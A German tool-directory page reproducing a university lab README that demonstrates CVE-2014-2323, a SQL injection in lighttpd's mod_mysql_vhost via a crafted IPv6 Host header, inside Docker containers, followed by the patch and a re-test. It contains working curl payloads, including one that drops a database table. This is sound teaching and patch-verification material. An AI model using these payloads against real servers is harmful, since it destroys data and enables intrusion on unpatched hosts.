Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
lighty-sqlinj-demo — CVE-2014-2323 Exploit-Demonstration | Kitploit
Tools/GitHubGitHub/cirocosta/lighty-sqlinj-demo
Container-SicherheitSchwachstellenanalyseWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubcirocosta/lighty-sqlinj-demo

lighty-sqlinj-demo

CVE-2014-2323 Exploit-Demonstration

Repository anzeigen
8vor 10 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

title: Ep4 - Netzwerkbezogene Schwachstelle members:

  • Ciro S. Costa
  • Marcela Terakado date: 10 Nov, 2015

Zugehörige Schwachstelle:

root@kitploit:~
CVE-2014-2323 [1] was assigned to SQL injection bug.
CVE-2014-2324 [2] was assigned to the path traversal bug.

Bestätigung: http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt

  • Betroffene Version: 1.4.34

Präsentation

  • Erklären des Fehlers
    • Vorstellen des anzugreifenden Dienstes
    • Wo im Quellcode befindet sich der Fehler
    • Patch zur Behebung des Fehlers
  • Vorbereiten von Demos zum Exploit
    • Exploit
    • Anwenden des Patches
    • Erneuter Exploit-Versuch
  • lighttpd (lighty)
  • Virtual Hosting
    • Vorbereiten eines Lighttpd-Servers
  • SQL
    • SQL-Injection
  • Docker
    • Container-Netzwerk
  • Demo!
    • Exploit
    • Überprüfung des Pfades

lighttpd (lighty)

Der anzugreifende Dienst ist Lighttpd. Es handelt sich um einen Open-Source-Webserver (BSD-Lizenz), der für Leichtigkeit und Geschwindigkeit optimiert ist. Er entstand als Proof-of-Concept für das berühmte c10k-Problem (wie man 10.000 gleichzeitige Verbindungen auf einem Server bewältigt) und erlangte damals (2003) große Popularität. Heute wird er von Whatsapp.com, Xkcd und früher auch von YouTube eingesetzt. Seine Marktposition ist, wie im Diagramm zu sehen, recht interessant:

Posicionamento Lighttpd - Tráfego x Quantidade de Websites

Der Server bewältigt das Problem vieler Verbindungen durch den Einsatz asynchroner Mechanismen mittels Events (kqueue auf BSDs, epoll auf Linux), wodurch die Notwendigkeit vieler Threads reduziert wird. Das führt zu einem deutlich geringeren Speicherverbrauch und einer besseren CPU-Auslastung (eine Strategie, die auch von Nginx-Servern verwendet wird, deren Nutzung über die Jahre hinweg stark zugenommen hat):

Mercado Servidores

Eine der Funktionen von lighty ist die einfache Verwaltung von virtuellen Hosts.

Virtual Hosting

Hierbei handelt es sich um eine Methode, um mehrere Domainnamen auf derselben IP-Adresse zu hosten. Dies senkt die Hosting-Kosten für Unternehmen, die Websites anbieten möchten, da kein dedizierter Server pro Website erforderlich ist.

Die Technik kann IP-basiert (eine Schnittstelle pro Host) oder namensbasiert (ein Name pro Host, die Schnittstelle wird gemeinsam genutzt) sein – letzteres wird in dieser Präsentation behandelt.

Name-Based

: Verwendet den vom Client gelieferten Hostnamen, um den passenden Dienst zu identifizieren. Diese Methode hat zwei Schwierigkeiten: Komplikationen bei sicheren Sitzungen (TLS) – der Handshake muss vor der Übergabe von Headern erfolgen, die den Host angeben, was die Auswahl des richtigen Zertifikats erschwert. Eine Lösung ist die TLS-Erweiterung Server Name Indication (SNI), die es erlaubt, den Namen zu Beginn des Handshakes zu übermitteln und so das richtige Zertifikat auszuwählen. Ein zweites Problem tritt auf, wenn eine Verbindung ohne eindeutigen Host-Header versucht wird, was zu einer Unbestimmtheit des zu verwendenden Dienstes führt.

Virtual Host - redes.io Virtual Host - mac0448.io

IP-Based

: Verwendet separate IPs für jede Anwendung. Der Webserver wird dann für mehrere physische (oder virtuelle) Netzwerkschnittstellen konfiguriert und antwortet entsprechend der Ziel-IP-Adresse.

root@kitploit:~
*IP-Aliasing* erlaubt es, virtuelle Schnittstellen für jeden Dienst zu erstellen.

Bei einem großen Unternehmen kann die Verwaltung eines solchen Mappings je nach Anzahl der Kunden komplex werden. Lighty bietet daher, wie später gezeigt, die Möglichkeit, eine Datenbank für diesen Zweck zu nutzen.

Zuvor sehen wir, wie man einen Server „von Hand“ konfiguriert und dann Vhosting hinzufügt.

Vorbereiten eines Lighttpd-Servers

Einen einfachen lighttpd-Server vorzubereiten ist sehr einfach. Man installiert ihn und erstellt eine Konfigurationsdatei, die den zu verwendenden Port, die Behandlung bestimmter Anfragen und andere Einstellungen festlegt.

Wir können ein Beispiel für eine Konfiguration vorbereiten, die nur Anfragen für statische Dateien (.html oder .txt) entgegennimmt:

root@kitploit:~
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

Stellen wir uns nun vor, wir möchten ein Geschäft aufbauen, das auf dem Verkauf von Websites basiert, und dem Käufer eine eigene Domain anbieten. Um die Kosten zu minimieren, möchten wir für jeden Kunden Vhosts erstellen. Angenommen, der Kurs „Netzwerke“ möchte drei Websites erwerben: redes.io, mac0448.io und mac5910.io. Unser Unternehmen registriert dann die Domains, die alle auf die IP unseres einzigen Servers mit einer einzigen Schnittstelle zeigen.

PS: Zur Simulation können wir die Datei /etc/hosts ändern:

root@kitploit:~
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io

Um die verschiedenen Websites der Kunden von einer einzigen IP aus bedienen zu können, können wir den Server manuell konfigurieren:

root@kitploit:~
server.document-root = "/usr/lighttpd/default/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

$HTTP["host"] == "redes.io" {
  server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
  server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
  server.document-root = "/usr/lighttpd/mac5910/"
}

Aber wie man sich vorstellen kann, kann dies problematisch werden, wenn wir viele Kunden haben und für jede Website unterschiedliche Konfigurationen bereitstellen möchten, wie bereits erwähnt.

Mit dem Modul mod_mysql_vhost können wir unseren Server mit einer mysql-Datenbank verbinden, die für dieses Mapping zuständig ist. Wir geben dann den Namen der Datenbank an, wie sie in unserem Netzwerk zu finden ist und welcher Befehl für die Suche verwendet werden soll.

root@kitploit:~
server.modules = (
	"mod_accesslog",
	"mod_mysql_vhost"
)

mysql-vhost.db		= "NOME_DO_BANCO"
mysql-vhost.user	= "USUARIO"
mysql-vhost.pass	= "SENHA"

(!!!!!!!!!!!!!!!)
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)

mysql-vhost.hostname	= "HOSTNAME"
mysql-vhost.port	= "PORTA"

SQL

SQL ist eine deklarative Sprache zur Verwaltung relationaler Datenbanken, die verwendet wird (...) usw.

TODO

  • SELECT
  • INSERT
  • UPDATE
  • DELETE
  • DROP
  • (...)

TODO

Probleme entstehen dadurch, dass die Datenbankverwaltungssysteme, die SQL verwenden, davon ausgehen, dass die eingegebenen Befehle dem Administrator bekannt sind und von ihm ordnungsgemäß verwaltet werden. Diese Annahme trifft nicht immer zu, da Fehler in den Systemen, die mit der Datenbank interagieren, auftreten können, insbesondere im Web, wo die Benutzerinteraktion groß ist.

SQL-Injection

Das Problem mit SQL-Befehlen tritt auf, wenn die Absicht besteht, Befehle mit benutzergenerierten Texten zu erstellen, sei es ein Benutzername, ein Passwort oder andere dynamische Inhalte.

(TODO)

Wie löst man das? Escaping.

In unserer Konfiguration gibt es zum Beispiel eine große Sicherheitslücke:

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"

da (wie es bis Version 1.4.34 der Fall war) das ? durch jeden beliebigen Befehl ersetzt und dann von MySQL ausgeführt werden kann.

Wir werden dies nun in einem Netzwerk mit drei Containern simulieren: einem MySQL-Server und zwei Lighttpd-Servern, einem anfälligen und einem reparierten.

Docker

Docker bietet eine Abstraktionsschicht über dem Betriebssystem, die Virtualisierung ohne ein weiteres Betriebssystem ermöglicht, indem Isolationsmechanismen des Kernels wie cgroups (Isolation von CPU-, IO-, Speicher- und Netzwerknutzung einer Prozessgruppe) und namespaces verwendet werden. Dadurch entfällt der gesamte Overhead des Startens und Betreibens einer virtuellen Maschine. Dies führt zu einer großen Optimierung der Ressourcenzuweisung (z. B. 100 virtuelle Maschinen mit 1-GB-Images => 100 GB. 100 Container eines 1-GB-Images => ~1 GB.) und zur gemeinsamen Nutzung der Verarbeitung sowie des Kernels und des Betriebssystems selbst. Dateien, die von Containern gemeinsam genutzt werden, können auch über ein schichtbasiertes Dateisystem gemeinsam genutzt werden.

Docker vs VM

Eine interessante Analogie zu Namespaces ist chroot, das es einem Prozess ermöglicht, ein Verzeichnis als Root seines gesamten Dateisystems zu sehen, wodurch seine Perspektive auf das System geändert wird (ohne den Rest des Systems zu beeinflussen). Mit Namespaces können wir diese unterschiedliche Perspektive für verschiedene andere Aspekte des Betriebssystems schaffen, wie z. B. Prozessbaum, Netzwerkschnittstellen, Dateisystem, IPC und andere.

(mehr dazu: Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces)

Es ist zu bedenken, dass der Benutzer möglicherweise keine solche gemeinsame Nutzung und geringe Isolation wünscht.

Container-Netzwerk

Beim Start des Docker-Daemons wird eine virtuelle Schnittstelle namens docker0 auf dem Host konfiguriert, ein vom Host nicht verwendetes Subnetz ausgewählt und der virtuellen Schnittstelle eine freie IP zugewiesen. Denken Sie daran, dass einer der drei Bereiche verwendet werden könnte:

root@kitploit:~
   The Internet Assigned Numbers Authority (IANA) has reserved the
   following three blocks of the IP address space for private internets:

     10.0.0.0        -   10.255.255.255  (10/8 prefix)
     172.16.0.0      -   172.31.255.255  (172.16/12 prefix)
     192.168.0.0     -   192.168.255.255 (192.168/16 prefix)

Auf meinem Rechner zum Beispiel:

root@kitploit:~
docker0   Link encap:Ethernet  HWaddr 02:42:58:ca:78:6d  
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
          TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4196391 (4.1 MB)  TX bytes:380442767 (380.4 MB)

Für jeden Container, der mit Standard-Netzwerkeinstellungen instanziiert wird, konfiguriert der Daemon eine Schnittstelle auf dem Host (im Beispiel unten verth5998947 für Container 1) (Teil des docker0-Subnetzes) und eine weitere Schnittstelle im Container (eth0). Außerdem werden die iptables-Konfiguration (ermöglicht dem Administrator, Tabellen von Regelketten zur Paketverarbeitung auf dem Host zu definieren) und NAT geändert, damit externer Verkehr an die Container weitergeleitet wird.

Interfaces mit docker

Demo

Die Demo erfordert eine Umgebung mit ordnungsgemäß konfiguriertem docker auf einem Linux-Rechner. Danach muss das Image erstellt werden:

root@kitploit:~
$ ./scripts/create-lighty-image.sh

Der obige Befehl erstellt ein Image basierend auf der Datei Dockerfile, das die Quelltexte beider Versionen von lighttpd enthält: die anfällige und die mit dem korrigierten Fehler.

Danach können wir die Container instanziieren, die die Verarbeitungsinstanzen der Demo und die Datenbank darstellen, die ebenfalls als Container isoliert ist:

root@kitploit:~
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched

Das Ergebnis ist:

  • MySQL-Server, der auf Port 3306 von lighty-mysqlserver lauscht.
  • Lighty-Server, der auf Port 80 des Containers lighty-vulnerable lauscht.
  • Lighty-Server, der auf Port 80 des Containers lighty-patched lauscht.

Containers

Um die IPs der Container zu erhalten, führen Sie einfach den Befehl aus:

root@kitploit:~
$ ./scripts/getips.sh

Docker container ip Addresses:
 - lighty-vulnerable:  172.17.0.3
 - lighty-patched:  172.17.0.4
 - lighty-mysqlserver: 172.17.0.2

Die „angeblichen Maschinen“ sind bereit, es bleibt nur noch, das DNS zu konfigurieren, damit die Adressauflösung korrekt funktioniert. An dieser Stelle könnten wir einen weiteren Container erstellen, der der DNS-Auflösung mit einem BIND-Server gewidmet ist. Zur Vereinfachung können wir jedoch einfach die /etc/hosts-Datei bearbeiten:

root@kitploit:~
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io

Wir müssen nun sicherstellen, dass der lighttpd-Server die Aufgabe des Virtual Hosting mit dem MySQL-Server durchführen kann. Dazu müssen wir die Einträge in der Datenbank einfügen, damit unsere Server die Aufgabe gemäß der Datenbank erledigen können (bei Verwendung der obigen Skripte ist der folgende Vorgang nicht erforderlich – das Skript initialisiert die Tabelle bereits):

root@kitploit:~
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| lighttpd           |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
    -> domain varchar(64) not null primary key,
    -> docroot varchar(128) not null
    -> );
Query OK, 0 rows affected (0.04 sec)

mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');

mysql> SELECT * FROM domains;
+------------+------------------------+
| domain     | docroot                |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io   | /usr/lighttpd/redes/   |
+------------+------------------------+

Ab diesem Zeitpunkt sind die Server in der Lage, das Virtual Hosting basierend auf der Datenbank durchzuführen.

Exploit

Der Angriff besteht darin, eine Schwachstelle in der Parsing-Phase des Host-Headers auszunutzen, der in HTTP-Anfragen mit einem Host vom Typ IPv6 gesendet wird. Die für das Parsen zuständige Methode erlaubt es, dass neben dem Host auch andere Zeichen gelesen und als solcher interpretiert werden. Das Problem ist, dass, wie zuvor gezeigt, im Suchbefehl für einen virtuellen Host ein Host-String blind (ohne Escaping) in den SQL-Befehl eingefügt wird:

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='IRGENDWAS_IM_HOST';"

Eine wohlmeinende Anfrage zeigt den folgenden Paketfluss, wenn wir die Standard-Schnittstelle docker0 abhören, über die der gesamte Verkehr zwischen den Containern fließt:

Fluxo de pacotes  Ok

Analysieren wir nun die einzelnen Komponenten des Flusses:

Wohlgeformte HTTP-Anfrage Requisição HTTP Ok

Wohlgeformte MySQL-Anfrage Requisição MySQL Ok

MySQL-Antwort Resposta MySQL Ok

HTTP-Antwort Resposta HTTP Ok

Wir können diese Schwachstelle nun ausnutzen.

Mit curl können wir bösartige Anfragen nachstellen, wie in der CVE-Bestätigung beschrieben.

root@kitploit:~
$ ./scripts/exploit1
curl --header "Host: []' SINTAXE ERRADA" redes.io

Erro de Servidor

Wir können deutlich erkennen, dass eine ausnutzbare Schwachstelle vorliegt, da kein interner Serverfehler auftreten dürfte. Wenn wir dasselbe Skript gegen den Google-Server testen:

root@kitploit:~
$ ./scripts/exploit2
curl --header "Host: []' SINTAXE ERRADA" www.google.com

<html><title>Error 400 (Bad Request)!!1</title></html>% 

Wir bestätigen, dass wir die Datenbank ausnutzen können, indem wir die an die Datenbank gesendete Anfrage analysieren:

Fehlerhafte MySQL-Anfrage Requisição MySQL mal formada

MySQL-Antwort Resposta requisição MySQL mal formada

Wir können nun mit zerstörerischen Befehlen fortfahren!

root@kitploit:~
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io

Bösartige HTTP-Anfrage Requisição HTTP maliciosa

Bösartige MySQL-Anfrage Requisição MySQL maliciosa

MySQL-Antwort Resposta requisição MySQL maliciosa

Und die Tabelle ist weg! Folglich kann der Server keine virtuellen Hosts mehr auflösen, außer dem als Standard konfigurierten.

Überprüfung des Patches

Da unsere Datenbank die Virtual-Hosting-Tabelle verloren hat, müssen wir sie wiederherstellen. Dazu führen wir im Container die Erstellung der Tabelle und das Einfügen der Werte durch:

root@kitploit:~
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"

Wir können überprüfen, ob der Patch das Problem behebt, indem wir den Angriff erneut versuchen (diesmal gegen den reparierten Server):

root@kitploit:~
$ ./scripts/exploit4

curl --header "Host: []'; DROP TABLE domains;--'" redes.io

Wir führen dann die bösartige HTTP-Anfrage aus:

Bösartige HTTP-Anfrage an den reparierten Server Requisição HTTP maliciosa ao servidor consertado

Aber sehen wir uns den Paketfluss im Netzwerk an:

Paketfluss Fluxo de Pacotes - servidor arrumado

Wie wir sehen können, gibt der Server bei einer bösartigen Anfrage sofort einen Fehler wegen schlecht formatierter Anfrage zurück und stellt keine Anfrage an die Datenbank.

Patch

Die Schwachstelle tritt in zwei Teilen des Codes auf: im Modul mod_mysql_vhost (das im Extremfall nicht interpretieren sollte, was in diesem Teil der Abfrage als gültiger Befehl übergeben wurde) und in der Anfragebearbeitung in request.c.

mod_mysql_vhost.c

Im Modul ist die Lösung einfach: Fügen Sie die von MySQL bereitgestellte Escape-Routine hinzu. Falls dann jemals ein bösartiger Befehl eingefügt wird, passiert dem Server nichts (da MySQL den Fehler meldet).

Patch do módulo

request.c

Im Anfragecode gibt es eine Behandlung für den Fall, dass nach der IPv6-Adresse die Zeichenfolge nicht endet (d. h., sie weist kein \0 auf). Bisher war der Server in der Lage, korrekt zu erkennen, ob der Hostname gemäß der Grammatik gültig ist (auch unter Berücksichtigung von Fällen, in denen ein Port zusammen mit der Adresse übergeben wird). Wenn der Port jedoch nicht übergeben wurde (die gültige IPv6-Adresse endete), wurde der Rest der Zeichenfolge nach der schließenden Klammer (die das Ende einer Adresse markiert) nicht entfernt.

So:

Patch do request.c

wird dieser Fall dann überprüft.

Commits:

  • patched: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853
  • non-patched: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f

Ressourcen

  • http://www.linuxjournal.com/content/concerning-containers-connections-docker-networking
  • http://lighttpd.net/
Tool herunterladen